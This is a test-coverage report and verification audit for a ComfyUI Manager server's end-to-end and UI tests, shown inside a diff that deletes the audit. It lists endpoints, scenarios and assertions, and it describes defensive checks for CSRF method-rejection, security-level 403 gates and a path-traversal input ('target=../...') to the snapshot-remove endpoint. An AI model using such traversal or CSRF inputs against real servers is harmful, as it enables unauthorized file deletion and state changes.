| `TestCustomNodeMappings::test_getmappings_returns_dict` | GET customnode/getmappings?mode=local | Success response | 200 + dict |
|
||||
| `TestCustomNodeMappings::test_getmappings_entries_have_node_lists` | GET getmappings | Entry structure | each value is `[node_list, metadata]` |
|
||||
| `TestFetchUpdates::test_fetch_updates_returns_deprecated` | GET customnode/fetch_updates | Deprecated endpoint | 410 + `deprecated: true` |
|
||||
| `TestInstalledPacks::test_installed_returns_dict` | GET customnode/installed | Success | 200 + dict |
|
||||
| `TestInstalledPacks::test_installed_imported_mode` | GET installed?mode=imported | Startup snapshot | 200 + dict |
|
||||
| `TestImportFailInfo::test_unknown_cnr_id_returns_400` | POST import_fail_info | Unknown pack | 400 |
|
||||
| `TestImportFailInfo::test_missing_fields_returns_400` | POST import_fail_info | Missing cnr_id+url | 400 |
|
||||
| `TestImportFailInfo::test_invalid_body_returns_error` | POST import_fail_info | Non-dict body | 400 |
|
||||
| `TestImportFailInfoBulk::test_bulk_with_cnr_ids_returns_dict` | POST import_fail_info_bulk | cnr_ids list | 200 + null for unknown |
|
||||
| `TestImportFailInfoBulk::test_bulk_empty_lists_returns_400` | POST import_fail_info_bulk | Empty cnr_ids+urls | 400 |
|
||||
| `TestImportFailInfoBulk::test_bulk_with_urls_returns_dict` | POST import_fail_info_bulk | urls list | 200 + dict |
|
||||
|
||||
## tests/e2e/test_e2e_queue_lifecycle.py (9 tests)
|
||||
|
||||
Covers the queue management lifecycle.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestQueueLifecycle::test_reset_queue` | POST queue/reset | Empty the queue | 200 |
|
||||
| `TestQueueLifecycle::test_status_after_reset` | GET queue/status | Post-reset state | all counts 0, is_processing bool |
|
||||
| `TestQueueLifecycle::test_status_with_client_id_filter` | GET queue/status?client_id=X | Client filter | response echoes client_id |
|
||||
| `TestQueueLifecycle::test_start_queue_already_idle` | POST queue/start | Idle worker start | status in {200, 201} |
|
||||
| `TestQueueLifecycle::test_queue_task_and_history` | POST queue/task + queue/start + GET queue/status + GET queue/history | Full lifecycle | done_count>0 polled, history 200 or 400 |
|
||||
| `TestQueueLifecycle::test_history_with_ui_id_filter` | GET queue/history?ui_id=X | Filter history | 200 or 400 (serialization-limit) |
|
||||
| `TestQueueLifecycle::test_history_with_pagination` | GET queue/history?max_items=1&offset=0 | Pagination | 200 or 400 |
|
||||
| `TestQueueLifecycle::test_history_list` | GET queue/history_list | List batch IDs | 200 + `ids` list |
|
||||
| `TestQueueLifecycle::test_final_reset_and_clean_state` | POST queue/reset + GET queue/status | Cleanup | pending_count==0 |
|
||||
|
||||
## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
|
||||
Covers snapshot save/list/remove cycle.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestSnapshotLifecycle::test_get_current_snapshot` | GET snapshot/get_current | Current state dict | 200 + dict |
|
||||
| `TestSnapshotLifecycle::test_save_snapshot` | POST snapshot/save | Save new snapshot | 200 |
|
||||
| `TestSnapshotLifecycle::test_getlist_after_save` | GET snapshot/getlist | List contains new snapshot | items.length > 0 |
|
||||
| `TestSnapshotLifecycle::test_remove_snapshot` | POST snapshot/remove?target=X + GET getlist | Remove + verify | target absent + count decremented |
|
||||
| `TestSnapshotLifecycle::test_remove_nonexistent_snapshot` | POST snapshot/remove | Nonexistent target | 200 (no-op) |
|
||||
| `TestSnapshotLifecycle::test_remove_path_traversal_rejected` | POST snapshot/remove?target=../... | Path-traversal targets must be rejected | 400 + sentinel file outside snapshot dir preserved (SR3) |
|
||||
| `TestSnapshotGetCurrentSchema::test_getlist_items_are_strings` | GET snapshot/getlist | Items shape | each item is string |
|
||||
|
||||
> Note: `POST /v2/snapshot/restore` intentionally NOT tested (destructive).
|
||||
|
||||
## tests/e2e/test_e2e_system_info.py (4 tests)
|
||||
|
||||
Covers system-level endpoints (version, legacy UI flag, reboot).
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestManagerVersion::test_version_returns_string` | GET manager/version | Non-empty string | 200 + len>0 |
|
||||
| `TestManagerVersion::test_version_is_stable` | GET manager/version x2 | Idempotency | consecutive calls return same value |
|
||||
| `TestIsLegacyManagerUI::test_returns_boolean_field` | GET is_legacy_manager_ui | Response shape | `{is_legacy_manager_ui: bool}` |
|
||||
| `TestReboot::test_reboot_and_recovery` | POST manager/reboot + GET version | Restart + recovery | 200 or 403 (security); server polls healthy; version unchanged |
|
||||
|
||||
## tests/e2e/test_e2e_task_operations.py (16 tests)
|
||||
|
||||
Covers queue/task operations for kinds NOT tested in test_e2e_endpoint.py.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestDisableEnable::test_disable_pack` | POST queue/task kind=disable | Disable moves pack to .disabled/ | pack dir gone + .disabled/ entry present |
|
||||
| `TestDisableEnable::test_enable_pack` | POST queue/task kind=enable | Enable restores pack | pack dir present + .disabled/ entry gone |
|
||||
| `TestDisableEnable::test_disable_enable_cycle` | queue/task x2 | Full disable→enable | Both transitions verified |
|
||||
| `TestUpdatePack::test_update_installed_pack` | POST queue/task kind=update | Update pack | pack still exists after update |
|
||||
| `TestUpdatePack::test_update_history_recorded` | GET queue/history?ui_id=X | History has update entry | 200 or 400 (serialization-limit) |
|
||||
| `TestFixPack::test_fix_installed_pack` | POST queue/task kind=fix | Fix pack | pack still exists |
|
||||
| `TestFixPack::test_fix_history_recorded` | GET queue/history?ui_id=X | History has fix entry | 200 or 400 |
|
||||
| `TestInstallModel::test_install_model_accepts_valid_request` | POST queue/install_model | Valid model request | 200 (reset queue after) |
|
||||
| `TestInstallModel::test_install_model_missing_client_id` | POST queue/install_model | Missing client_id | 400 |
|
||||
| `TestInstallModel::test_install_model_missing_ui_id` | POST queue/install_model | Missing ui_id | 400 |
|
||||
| `TestInstallModel::test_install_model_invalid_body` | POST queue/install_model | Invalid metadata | 400 |
|
||||
| `TestUpdateAll::test_update_all_queues_tasks` | POST queue/update_all | Queue all update tasks | 200/403 or tolerated ReadTimeout |
|
||||
| `TestUpdateAll::test_update_all_missing_params` | POST queue/update_all | Missing params | 400 ValidationError |
|
||||
| `TestUpdateComfyUI::test_update_comfyui_queues_task` | POST queue/update_comfyui | Queue task | 200 + total_count>=1 after |
|
||||
| `TestUpdateComfyUI::test_update_comfyui_missing_params` | POST queue/update_comfyui | Missing params | 400 |
|
||||
| `TestUpdateComfyUI::test_update_comfyui_with_stable_flag` | POST queue/update_comfyui?stable=true | Explicit stable flag | 200 |
|
||||
|
||||
## tests/e2e/test_e2e_version_mgmt.py (7 tests)
|
||||
|
||||
Covers comfyui_versions + comfyui_switch_version endpoints.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestComfyUIVersions::test_versions_endpoint` | GET comfyui_versions | Response shape | `{versions: list, current: str}` |
|
||||
| `TestComfyUIVersions::test_versions_list_not_empty` | GET comfyui_versions | Non-empty list | len>0 |
|
||||
| `TestComfyUIVersions::test_versions_items_are_strings` | GET comfyui_versions | Item type | each version is string |
|
||||
| `TestComfyUIVersions::test_current_is_in_versions` | GET comfyui_versions | Current in list | current appears in versions |
|
||||
| `TestSwitchVersionNegative::test_switch_version_missing_all_params` | POST comfyui_switch_version | No params | 400 or 403 |
|
||||
| `TestSwitchVersionNegative::test_switch_version_missing_client_id` | POST comfyui_switch_version?ver=X | Partial params | 400 or 403 |
|
||||
| `TestSwitchVersionNegative::test_switch_version_validation_error_body` | POST comfyui_switch_version | Error body shape | `error` field present (when 400 JSON) |
|
||||
|
||||
> Note: Actual version switching (destructive) intentionally NOT tested.
|
||||
|
||||
---
|
||||
|
||||
## tests/e2e/test_e2e_csrf.py (4 test functions / 26 parametrized invocations — post-WI-HH)
|
||||
|
||||
Covers the CSRF-mitigation contract from commit 99caef55 — state-changing
|
||||
endpoints must reject HTTP GET so that `<img src>` / link-click /
|
||||
redirect-based cross-origin triggers cannot mutate server state.
|
||||
|
||||
**Scope (per docstring)**: ONLY the GET-rejection contract. NOT covered
|
||||
here: Origin/Referer validation (separate middleware), same-site cookies,
|
||||
anti-CSRF tokens, cross-site form POST.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestStateChangingEndpointsRejectGet::test_get_is_rejected[path]` | 13 POST endpoints (queue/start, queue/reset, queue/update_all, queue/update_comfyui, queue/install_model, queue/task, snapshot/save, snapshot/remove, snapshot/restore, manager/reboot, comfyui_switch_version, import_fail_info, import_fail_info_bulk — WI-HH removed db_mode, policy/update, channel_url_list from this list since they legitimately answer GET on the read-path) | GET must reject | status_code in (400,403,404,405); explicit `not in 200-399` guard |
|
||||
| `TestCsrfPostWorks::test_queue_reset_post_works` | POST queue/reset | POST counterpart works | status_code == 200 |
|
||||
| `TestCsrfPostWorks::test_snapshot_save_post_works` | POST snapshot/save + cleanup via getlist+remove | POST counterpart works | status_code == 200; cleanup |
|
||||
| `TestCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds[path]` | 11 GET endpoints (version, db_mode, policy/update, channel_url_list, queue/status, queue/history_list, is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, comfyui_versions) | Negative control: read-only still works | status_code == 200 |
|
||||
|
||||
> Note: Three endpoints (`db_mode`, `policy/update`, `channel_url_list`) appear in BOTH reject-GET (POST path, write) and allow-GET (read path) lists — commit 99caef55 split each into a GET-read + POST-write pair; the POST path must reject GET while the GET path must continue to succeed.
|
||||
|
||||
---
|
||||
|
||||
## tests/e2e/test_e2e_csrf_legacy.py (4 test functions / 26 parametrized invocations)
|
||||
|
||||
Legacy-mode counterpart to `test_e2e_csrf.py`. Verifies the same CSRF
|
||||
method-rejection contract but against the legacy server module loaded
|
||||
via `--enable-manager-legacy-ui`. Added in WI-FF (commit following
|
||||
99caef55) to close the legacy-side regression-guard gap. Audit-integrated
|
||||
in WI-GG.
|
||||
|
||||
**Why a separate file** (per docstring L7–13): `comfyui_manager/__init__.py`
|
||||
loads `glob.manager_server` XOR `legacy.manager_server` via mutex on the
|
||||
`--enable-manager-legacy-ui` flag. One ComfyUI process exposes either the
|
||||
glob or the legacy route table, never both — so verifying the legacy
|
||||
CSRF contract requires its own module-scoped server lifecycle with the
|
||||
legacy flag set (via `start_comfyui_legacy.sh`).
|
||||
|
||||
**Scope (per docstring L44–48)**: Same as `test_e2e_csrf.py` — ONLY the
|
||||
method-reject layer. Origin/Referer, same-site cookies, anti-CSRF tokens,
|
||||
and cross-site form POST are out of scope.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected[path]` | 13 POST endpoints (queue/start, queue/reset, queue/update_all, queue/update_comfyui, queue/install_model, **queue/batch** (legacy; replaces queue/task), snapshot/save, snapshot/remove, snapshot/restore, manager/reboot, comfyui_switch_version, import_fail_info, import_fail_info_bulk) | GET must reject under legacy server | status_code in (400,403,404,405); explicit `not in 200-399` guard |
|
||||
| `TestLegacyCsrfPostWorks::test_queue_reset_post_works` | POST queue/reset (legacy) | POST counterpart works under legacy server | status_code == 200 |
|
||||
| `TestLegacyCsrfPostWorks::test_snapshot_save_post_works` | POST snapshot/save + cleanup via getlist+remove (legacy) | POST counterpart works + cleanup | status_code == 200; cleanup |
|
||||
| `TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds[path]` | 11 GET endpoints (version, db_mode, policy/update, channel_url_list, queue/status, queue/history_list, is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, comfyui_versions) | Negative control: legacy read-only still works | status_code == 200 |
|
||||
|
||||
> **Endpoint-list deltas vs glob** (per docstring L23–36):
|
||||
> - `queue/task` → dropped (glob-only); `queue/batch` → added (legacy task-enqueue equivalent)
|
||||
> - `db_mode`, `policy/update`, `channel_url_list` → dropped from reject-GET (CSRF contract applies only to the POST write-path; legacy splits these into `@routes.get` read + `@routes.post` write, identical to glob). These 3 remain in the ALLOW-GET class above. (The glob `test_e2e_csrf.py` lists them in BOTH classes; WI-HH tracks the glob-side correction.)
|
||||
|
||||
---
|
||||
|
||||
## tests/e2e/test_e2e_secgate_strict.py (1 test active + 1 skipped; WI-KK PoC, WI-LL audit-integrated)
|
||||
|
||||
Strict-mode security-gate PoC. Covers the middle/middle+ gate 403 contract for
|
||||
Goals that require elevating `security_level=strong`. Launches via
|
||||
`start_comfyui_strict.sh` (which patches `user/__manager/config.ini` to
|
||||
`security_level=strong`, leaves a `.before-strict` backup, and starts the server
|
||||
on the E2E port) and restores the original config in the fixture teardown.
|
||||
|
||||
**Scope (per docstring L3–9)**: strict-mode 403 path for the middle/middle+
|
||||
gates. The default E2E config (`security_level=normal`, `is_local_mode=True`)
|
||||
puts NORMAL inside the allowed set for both gates per
|
||||
`comfyui_manager/glob/utils/security_utils.py` L32–38, so this harness is the
|
||||
only way to exercise the 403 side. This is the first of 4 planned Goals
|
||||
(SR4 ← here; SR6, V5, UA2 ← mechanical additions using the same fixture).
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_SR4::test_remove_returns_403` | POST `/v2/snapshot/remove?target=…` (under security_level=strong) | Goal SR4 — snapshot/remove below `middle` | (a) `status_code == 403`; (b) the seeded snapshot file on disk is NOT deleted (negative-check per `verification_design.md` §7.3 Security Boundary Template). |
|
||||
| `TestSecurityGate403_SR4::test_post_works_at_default_after_restore` | (none — pytest.skip) | Positive counterpart of SR4 at default config | pytest.skip'd: deferred to `test_e2e_secgate_default.py` follow-up to avoid double-startup cost. Documents both halves of the gate contract. |
|
||||
|
||||
**Harness notes**:
|
||||
- **Teardown ordering** is contract-critical: stop server FIRST, then restore config (the server holds the config-file lock; restoring before stopping causes a re-snapshot race). Documented in the fixture's `finally` block.
|
||||
- Subsequent test modules continue to see `security_level=normal` because the backup restore happens deterministically in teardown.
|
||||
|
||||
## tests/e2e/test_e2e_secgate_default.py (1 test; WI-KK demo, WI-LL audit-integrated)
|
||||
|
||||
Default-mode security-gate demonstration. Covers the CV4 Goal (comfyui_switch_version
|
||||
`high+` gate 403 contract) without any harness, leveraging the WI-KK research
|
||||
finding that default `security_level=normal` + `is_local_mode=True` already
|
||||
triggers 403 for high+ operations at the HTTP handler. This is the cleanest of
|
||||
the 4 originally-classified-T2 high+ Goals to demonstrate the no-harness-needed
|
||||
insight.
|
||||
|
||||
**Scope (per docstring L1–18)**: only the CV4 Goal. The other 3 originally-T2
|
||||
high+ Goals are deferred with reclassification notes:
|
||||
- **IM4** → **T2-TASKLEVEL**: non-safetensors check lives deep in the install pipeline (worker + `get_risky_level`), not at the HTTP handler. POST `/v2/manager/queue/install_model` accepts the request and queues a task; rejection only surfaces at task execution. Requires a queue-observation pattern, not a simple HTTP 403 check.
|
||||
- **LGU2**, **LPP2** → **NORMAL-legacy**: registered ONLY in `legacy/manager_server.py` (L1502, L1522). Testing needs `start_comfyui_legacy.sh` fixture — follow-up `test_e2e_secgate_legacy_default.py` is the natural home.
|
||||
|
||||
| Test | Endpoint(s) | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` | POST `/v2/comfyui_manager/comfyui_switch_version` with `ver`, `client_id`, `ui_id` (at default security_level) | Goal CV4 — comfyui_switch_version below `high+` | `status_code == 403`. The `ver` query is syntactically valid so the request WOULD reach the Pydantic validation step IF the gate were broken; since the gate is the FIRST check in the handler, 403 must precede any 400-from-validation outcome. |
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — Playwright UI Tests
|
||||
|
||||
All Playwright tests require ComfyUI running with `--enable-manager-legacy-ui` on PORT (default 8199).
|
||||
|
||||
## tests/playwright/legacy-ui-manager-menu.spec.ts (5 tests)
|
||||
|
||||
Covers the Manager Menu dialog and its settings dropdowns.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Manager Menu Dialog > opens via Manager button and shows 3-column layout` | (indirect: initial page + legacy UI detection) | Menu dialog opens | `#cm-manager-dialog` visible; "Custom Nodes Manager", "Model Manager", "Restart" buttons present |
|
||||
| `> shows settings dropdowns (DB, Channel, Policy)` | (UI) | DB + Policy combos render | Both `<select>` elements visible |
|
||||
| `> DB mode dropdown round-trips via API` | GET/POST db_mode | UI dropdown change → backend persists | selectOption → verify via GET → restore |
|
||||
| `> Update Policy dropdown round-trips via API` | GET/POST policy/update | Policy change via UI | selectOption → verify GET → restore |
|
||||
| `> closes and reopens without duplicating` | (UI only) | Dialog lifecycle | No duplicate dialog instances |
|
||||
|
||||
## tests/playwright/legacy-ui-custom-nodes.spec.ts (5 tests)
|
||||
|
||||
Covers the Custom Nodes Manager dialog (TurboGrid-based list).
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Custom Nodes Manager > opens from Manager menu and renders grid` | GET customnode/getlist (legacy), customnode/getmappings | Grid render | `#cn-manager-dialog` + `.tg-body` visible |
|
||||
| `> loads custom node list (non-empty)` | GET customnode/getlist | Data load | rows > 0 after polling |
|
||||
| `> filter dropdown changes displayed nodes` | (client-side filter) | "Installed" filter | filtered count ≤ initial count |
|
||||
| `> search input filters the grid` | (client-side filter) | Search term | filtered count ≤ initial |
|
||||
| `> footer buttons are present` | (UI) | Install via Git URL / Restart buttons | At least one present |
|
||||
|
||||
## tests/playwright/legacy-ui-model-manager.spec.ts (4 tests)
|
||||
|
||||
Covers Model Manager dialog.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Model Manager > opens from Manager menu and renders grid` | GET externalmodel/getlist (legacy) | Grid render | `#cmm-manager-dialog` + grid visible |
|
||||
| `> loads model list (non-empty)` | GET externalmodel/getlist | Data load | rows > 0 |
|
||||
| `> search input filters the model grid` | (client-side filter) | Search | filtered ≤ initial |
|
||||
| `> filter dropdown is present with expected options` | (UI) | Filter options | options.length > 0 |
|
||||
|
||||
## tests/playwright/legacy-ui-snapshot.spec.ts (3 tests)
|
||||
|
||||
Covers Snapshot Manager dialog.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Snapshot Manager > opens snapshot manager from Manager menu` | (UI) | Dialog opens | `#snapshot-manager-dialog` present |
|
||||
| `> lists existing snapshots` | GET snapshot/getlist | List loads | resp.ok + `items` property |
|
||||
| `> save snapshot via API and verify in list` | POST snapshot/save + GET snapshot/getlist + POST snapshot/remove | Save→verify→cleanup | items.length > 0 after save; remove cleanup |
|
||||
|
||||
## tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
|
||||
|
||||
Covers dialog navigation lifecycle. Stage2 WI-F deleted two prior tests (`API health check while dialogs are open`, `system endpoints accessible from browser context`) because they exercised `page.request.*` direct API calls with no real UI interaction — coverage is now owned by `test_e2e_system_info.py::test_version_*` and related pytest suites.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `Dialog Navigation > Manager menu → Custom Nodes → close → Manager still visible` | (UI) | Nested dialog navigation | Manager menu reopens after child close |
|
||||
| `> Manager menu → Model Manager → close → reopen` | (UI) | Close and reopen Model Manager | Dialog reappears |
|
||||
|
||||
## tests/playwright/legacy-ui-install.spec.ts (2 tests)
|
||||
|
||||
Covers UI-driven install/uninstall effect verification against the test pack `ComfyUI_SigmoidOffsetScheduler`. Primary action is always a UI button click; `page.request` is used only for setup (queue/reset baseline, optional API pre-install in LB2) and effect-observation (queue/status polling, installed-list lookup) — consistent with the hybrid UI-action + backend-effect pattern in `legacy-ui-snapshot.spec.ts::SS1`.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `UI-driven install/uninstall > LB1 Install button triggers install effect` | (UI) Custom Nodes Manager dialog → filter "Not Installed" → search pack → row Install button → version "Select" button; GET /v2/manager/queue/status (effect polling), GET /v2/customnode/installed (effect verification) | User initiates install from Custom Nodes dialog | `isPackInstalled === true` after queue drains via `waitForAllDone` |
|
||||
| `UI-driven install/uninstall > LB2 Uninstall button triggers uninstall effect` | (UI) Custom Nodes Manager dialog → filter "Installed" → search pack → row Uninstall button → optional confirm dialog; GET /v2/manager/queue/status, GET /v2/customnode/installed | User initiates uninstall from Custom Nodes dialog (preconditioned by API install if pack absent) | `isPackInstalled === false` after queue drains |
|
||||
|
||||
## tests/playwright/debug-install-flow.spec.ts (1 test)
|
||||
|
||||
Debug/instrumentation test — captures the install API flow for documentation.
|
||||
|
||||
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|
||||
|---|---|---|---|
|
||||
| `capture install button API flow` | GET customnode/getlist, POST queue/batch (legacy), GET customnode/versions/{id}, WebSocket cm-queue-status | End-to-end install UI flow capture | No assertions — logs API sequence + WebSocket frames for manual review |
|
||||
|
||||
---
|
||||
|
||||
# Section 3 — Endpoint Coverage Summary
|
||||
|
||||
## Glob v2 endpoints covered (27/30)
|
||||
|
||||
| Endpoint | Covered by |
|
||||
|---|---|
|
||||
| POST queue/task (install) | test_e2e_endpoint, test_e2e_git_clone, test_e2e_task_operations |
|
||||
| POST queue/task (update/fix/disable/enable/uninstall) | test_e2e_endpoint, test_e2e_task_operations |
|
||||
| GET queue/history_list | test_e2e_queue_lifecycle |
|
||||
| GET queue/history | test_e2e_queue_lifecycle, test_e2e_task_operations |
|
||||
| GET customnode/getmappings | test_e2e_customnode_info |
|
||||
| GET customnode/fetch_updates | test_e2e_customnode_info (deprecated 410) |
|
||||
| POST queue/update_all | test_e2e_task_operations |
|
||||
| GET is_legacy_manager_ui | test_e2e_system_info, playwright legacy-ui-navigation |
|
||||
| GET customnode/installed | test_e2e_endpoint, test_e2e_customnode_info |
|
||||
| GET snapshot/getlist | test_e2e_snapshot_lifecycle, playwright legacy-ui-snapshot |
|
||||
| POST snapshot/remove | test_e2e_snapshot_lifecycle |
|
||||
| GET snapshot/get_current | test_e2e_snapshot_lifecycle |
|
||||
| POST snapshot/save | test_e2e_snapshot_lifecycle, playwright legacy-ui-snapshot |
|
||||
| POST customnode/import_fail_info | test_e2e_customnode_info |
|
||||
| POST customnode/import_fail_info_bulk | test_e2e_customnode_info |
|
||||
| POST queue/reset | test_e2e_queue_lifecycle, test_e2e_task_operations |
|
||||
| GET queue/status | test_e2e_queue_lifecycle, test_e2e_task_operations |
|
||||
| POST queue/start | test_e2e_endpoint, test_e2e_task_operations |
|
||||
| POST queue/update_comfyui | test_e2e_task_operations |
|
||||
| GET comfyui_versions | test_e2e_version_mgmt |
|
||||
| POST comfyui_switch_version | test_e2e_version_mgmt (negative only) |
|
||||
| POST queue/install_model | test_e2e_task_operations |
|
||||
| GET/POST db_mode | test_e2e_config_api, playwright legacy-ui-manager-menu |
|
||||
| GET/POST policy/update | test_e2e_config_api, playwright legacy-ui-manager-menu |
|
||||
| GET/POST channel_url_list | test_e2e_config_api |
|
||||
| POST manager/reboot | test_e2e_system_info |
|
||||
| GET manager/version | test_e2e_system_info, playwright legacy-ui-navigation |
|
||||
|
||||
## CSRF Method-Reject Contract
|
||||
|
||||
Separate from the positive-path coverage above, the 16 state-changing POST
|
||||
endpoints (glob) + 13 (legacy, with queue/batch substitution) plus 11
|
||||
read-only GET endpoints per server are independently verified for their
|
||||
CSRF-mitigation contract (commit 99caef55, CVSS 8.1). Coverage is split
|
||||
across two files because server loading is mutex on `--enable-manager-legacy-ui`:
|
||||
|
||||
**Glob server** — `tests/e2e/test_e2e_csrf.py`:
|
||||
|
||||
| Contract | Tests | Coverage |
|
||||
|---|---|---|
|
||||
| 13 POST endpoints must reject HTTP GET (glob; post-WI-HH) | TestStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterparts must work (glob sanity) | TestCsrfPostWorks (queue/reset, snapshot/save) | ~ spot-check |
|
||||
| 11 read-only GET endpoints must still allow GET (glob negative control) | TestCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
**Legacy server** (WI-FF) — `tests/e2e/test_e2e_csrf_legacy.py`:
|
||||
|
||||
| Contract | Tests | Coverage |
|
||||
|---|---|---|
|
||||
| 13 POST endpoints must reject HTTP GET (legacy; queue/task→queue/batch; dual-purpose endpoints scoped to ALLOW-GET only) | TestLegacyStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
|
||||
| POST counterparts must work (legacy sanity) | TestLegacyCsrfPostWorks (queue/reset, snapshot/save) | ~ spot-check |
|
||||
| 11 read-only GET endpoints must still allow GET (legacy negative control) | TestLegacyCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
|
||||
|
||||
Note: this contract is NEGATIVE-assertion (must-reject) + negative-control.
|
||||
Do NOT interpret CSRF-suite PASS as "CSRF fully solved" — both suites
|
||||
explicitly scope themselves to the method-conversion layer only. The
|
||||
legacy suite closes the gap where a reverted `@routes.post` → `@routes.get`
|
||||
in `legacy/manager_server.py` would have slipped past CI.
|
||||
|
||||
## Glob v2 endpoints NOT covered
|
||||
|
||||
| Endpoint | Reason |
|
||||
|---|---|
|
||||
| POST snapshot/restore | Intentionally skipped (destructive — alters node state) |
|
||||
| POST comfyui_switch_version (positive) | Intentionally skipped (destructive — alters ComfyUI version) |
|
||||
| (none otherwise missing) | — |
|
||||
|
||||
## Legacy-only endpoints covered
|
||||
|
||||
| Endpoint | Covered by |
|
||||
|---|---|
|
||||
| POST queue/batch | playwright debug-install-flow (indirect — triggered via Install UI) |
|
||||
| GET customnode/getlist | playwright legacy-ui-custom-nodes (indirect) |
|
||||
| GET externalmodel/getlist | playwright legacy-ui-model-manager (indirect) |
|
||||
|
||||
## Legacy-only endpoints NOT covered
|
||||
|
||||
| Endpoint | Reason |
|
||||
|---|---|
|
||||
| GET /customnode/alternatives | Not invoked by legacy UI flows tested |
|
||||
| GET customnode/versions/{node_name} | Tested indirectly via install version dialog (debug-install-flow) but no direct assertion |
|
||||
| GET customnode/disabled_versions/{node_name} | No direct test |
|
||||
| POST customnode/install/git_url | High+ security, destructive; not in UI flow |
|
||||
| POST customnode/install/pip | High+ security, destructive |
|
||||
| GET manager/notice | Removed in recent work; legacy only |
|
||||
|
||||
---
|
||||
*End of Report B*
|
||||
@@ -1,629 +0,0 @@
|
||||
# E2E Verification Condition Audit
|
||||
|
||||
**Generated**: 2026-04-18
|
||||
**Method**: For each E2E test function, compare its actual assertions against the required verification items from `verification_design.md`.
|
||||
|
||||
**Verdict categories**:
|
||||
- **✅ PASS** — verification adequate; matches design Goal
|
||||
- **⚠️ WEAK** — covers core but misses key assertions (effect proof, negative checks, side effects)
|
||||
- **❌ INADEQUATE** — verification insufficient (status-only, or missing the actual intent)
|
||||
- **N/A** — outside verification_design scope (e.g., CLI tests)
|
||||
|
||||
---
|
||||
|
||||
# Section 1 — tests/e2e/test_e2e_endpoint.py (4 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Actual assertions | Issues |
|
||||
|---|---|---|---|---|
|
||||
| `TestEndpointInstallUninstall::test_install_via_endpoint` | A1 (Install CNR pack) | ✅ PASS | `_pack_exists` + `_has_tracking` | Meets effect requirement |
|
||||
| `test_installed_list_shows_pack` | IL1 (Installed list current) | ✅ PASS | cnr_id match in response dict | Effect verified via API |
|
||||
| `test_uninstall_via_endpoint` | U1 (Remove pack) | ✅ PASS | Wave1 WI-N: FS check + API cross-check — asserts cnr_id ABSENT from GET /v2/customnode/installed. Defeats cache-invalidation regressions where FS delete succeeds but the installed-index still reports the pack. |
|
||||
| `test_startup_resolver_ran` | (log assertion) | N/A | Log file contains specific strings | Not HTTP verification; ComfyUI startup side check |
|
||||
|
||||
**File verdict**: 3/4 ✅, 0/4 ⚠️, 1/4 N/A (WI-MM removed 3 B1/B5 rows: `test_installed_list_after_uninstall` subsumed by the WI-N-strengthened `test_uninstall_via_endpoint`, `test_install_uninstall_cycle` subsumed by the concat of ci-001/002/003, `test_comfyui_started` subsumed by `_start_comfyui`'s /system_stats readiness poll.)
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — tests/e2e/test_e2e_git_clone.py (3 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Actual assertions | Issues |
|
||||
|---|---|---|---|---|
|
||||
| `test_01_nightly_install` | A2 (Install nightly via URL) | ✅ PASS | Wave1 WI-N: pack_exists + `.git/` dir + parses `.git/config` and asserts `[remote "origin"] url` matches REPO_TEST1 (tolerant of `.git` suffix variants). Defeats "wrong-repo clone" regression. |
|
||||
| `test_02_no_module_error` | A2 negative check | ✅ PASS | log NOT contains ModuleNotFoundError | Negative check correct |
|
||||
| `test_03_nightly_uninstall` | U1 (Uninstall nightly) | ✅ PASS | Wave1 WI-N: FS check + API cross-check — asserts PACK_TEST1 absent from installed-list keys + defensive cnr_id/aux_id traversal to catch schema-variation regressions. |
|
||||
|
||||
**File verdict**: 3/3 ✅ (Wave1 WI-N upgraded test_01_nightly_install A2 + test_03_nightly_uninstall U1)
|
||||
|
||||
---
|
||||
|
||||
<!-- Section 3 (tests/e2e/test_e2e_uv_compile.py) was relocated to tests/cli/test_uv_compile.py
|
||||
in WI-PP. The 8 functions were CLI-subprocess integration tests (cm-cli --uv-compile),
|
||||
